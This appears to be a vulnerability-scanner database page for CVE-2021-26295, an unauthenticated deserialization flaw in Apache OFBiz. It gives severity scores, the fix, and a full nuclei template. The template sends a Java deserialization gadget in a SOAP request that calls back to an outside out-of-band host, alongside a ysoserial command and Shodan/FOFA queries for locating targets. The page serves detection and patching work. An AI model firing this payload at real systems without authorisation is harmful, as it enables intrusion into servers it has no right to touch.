Apache OFBiz <17.12.06 - Arbitrary Code Execution

criticalseverity

9.8CVSS score

97.8%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Apache OFBiz has unsafe deserialization prior to 17.12.06. An unauthenticated attacker can use this vulnerability to successfully take over Apache OFBiz.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Upgrade Apache OFBiz to version 17.12.06 or later to mitigate this vulnerability.

How to confirm it

Send: POST /webtools/control/SOAPService
Positive when: contains in interactsh_protocol "dns" AND contains "errorMessage" AND contains in header "OFBiz.Visitor="

Run it with nuclei: nuclei -id CVE-2021-26295 -u <target>

The full check

id: CVE-2021-26295

info:
  name: Apache OFBiz <17.12.06 - Arbitrary Code Execution
  author: madrobot
  severity: critical
  description: |
    Apache OFBiz has unsafe deserialization prior to 17.12.06. An unauthenticated attacker can use this vulnerability to successfully take over Apache OFBiz.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade Apache OFBiz to version 17.12.06 or later to mitigate this vulnerability.
  reference:
    - https://github.com/yumusb/CVE-2021-26295-POC
    - https://packetstormsecurity.com/files/162104/Apache-OFBiz-SOAP-Java-Deserialization.html
    - https://github.com/zhzyker/exphub/tree/master/ofbiz
    - https://lists.apache.org/thread.html/r3c1802eaf34aa78a61b4e8e044c214bc94accbd28a11f3a276586a31%40%3Cuser.ofbiz.apache.org%3E
    - https://lists.apache.org/thread.html/r6e4579c4ebf7efeb462962e359501c6ca4045687f12212551df2d607@%3Cnotifications.ofbiz.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26295
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-26295
    cwe-id: CWE-502
    epss-score: 0.97822
    epss-percentile: 0.99906
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: ofbiz
    shodan-query:
      - "OFBiz.Visitor="
      - http.html:"ofbiz"
      - ofbiz.visitor=
    fofa-query:
      - body="ofbiz"
      - app="apache_ofbiz"
    ysoserial-payload: java -jar ysoserial.jar URLDNS https://oob-url-to-request.tld | hex
  tags: cve2021,cve,packetstorm,apache,ofbiz,deserialization,rce,vkev,vuln

http:
  - raw:
      - |
        POST /webtools/control/SOAPService HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <?xml version='1.0' encoding='UTF-8'?>
        <soapenv:Envelope
          xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
          <soapenv:Header/>
            <soapenv:Body>
              <ns1:clearAllEntityCaches xmlns:ns1="http://ofbiz.apache.org/service/">
                  <ns1:cus-obj>{{generate_java_gadget("dns", "https://{{interactsh-url}}", "hex")}}</ns1:cus-obj>
              </ns1:clearAllEntityCaches>
            </soapenv:Body>
        </soapenv:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "errorMessage"
        condition: and

      - type: word
        part: header
        words:
          - "OFBiz.Visitor="

References

Use this check only on systems you are authorised to test. Where the data comes from